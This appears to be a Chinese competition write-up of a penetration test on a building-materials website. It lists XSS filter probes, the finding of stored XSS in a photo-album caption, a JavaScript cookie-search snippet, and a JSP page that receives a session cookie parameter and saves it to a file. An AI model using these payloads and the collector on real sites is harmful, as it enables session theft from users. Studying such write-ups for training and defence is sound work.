先抱怨一下,比赛网站移植的系统有很多功能不能正常使用,推荐使用原网站http://bitaec.com/进行测试。
第二关是对一个建材网站的渗透测试,习惯性的拿出wwwscan一顿狂扫,只发现一个有价值的目录。http://bitaec.com/robots.txt
这是对网络爬虫的一些规则设置,爬虫会首先检查,网页根目录下有没有robots.txt,
可以置一些你不想让搜索引擎收录的页面,不然爬虫会浏览所有不被密码保护的页面。很多情况下,其中的信息会指明网站的敏感页面。
具体信息看这http://baike.baidu.com/view/1280732.htm。
不过这个网站中的robots.txt没有任何内容。
又尝试了基本的注入,未果。
这时发现有一个博客,可以留言,觉得有可能存在xss,尝试很久依旧,未果。
发现过滤了关键的标签,和一些标签中的关键变量。
<script>alert('xss');</script> // no
<img> // no
<b> // yes
<area shape="rect" coords="0,0,110,260" href="sun.htm" alt="Sun" /> //no
最后终于在建材提供商相册图片注释这里,找到了xss,不过网站的sessionID被设为了httpOnly,比较蛋疼。
其实一般httpOnly属性的,很可能是seesionID
这里多说一下站点的cookie比较多,百度了一下,发现它使用了百度流量统计这个东西。
具体看这,http://www.ichenyuan.com/?p=147
但是还是把流程简单的实现了一下。
获取cookie的js这样写,js是没法获取指定名称的cookie的。
<script>
var aCookie=document.cookie.split("; ");
var flag=1;
for(var i=0;i<aCookie.length;i++)
{
var aCrumb=aCookie[i].split("=");
if("_gcj_session"==aCrumb[0]){ alert("haha");flag=0;}
}
if(flag) alert("NoFound");
</script>
一个接受参数并储存的jsp可以这样写
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%@ page import="java.net.URL"%>
<%@ page import="java.net.HttpURLConnection"%>
<%
response.setContentType("text/html;charset=UTF-8");
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY);
response.setHeader("Pragma","No-Cache");
response.setHeader("Cache-Control","No-Cache");
response.setDateHeader("Expires", 0);
String _uc_session="";
_uc_session=(String)request.getParameter("_uc_session");
out.println("_uc_session:"+_uc_session);
try{
File f = new File("c://temp.txt");
if(!f.exists())
f.createNewFile();
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(
new FileOutputStream(f)));
bw.append("_uc_session:"+_uc_session);
bw.close();
}catch(Exception e){
out.println(e.getMessage());
}
%>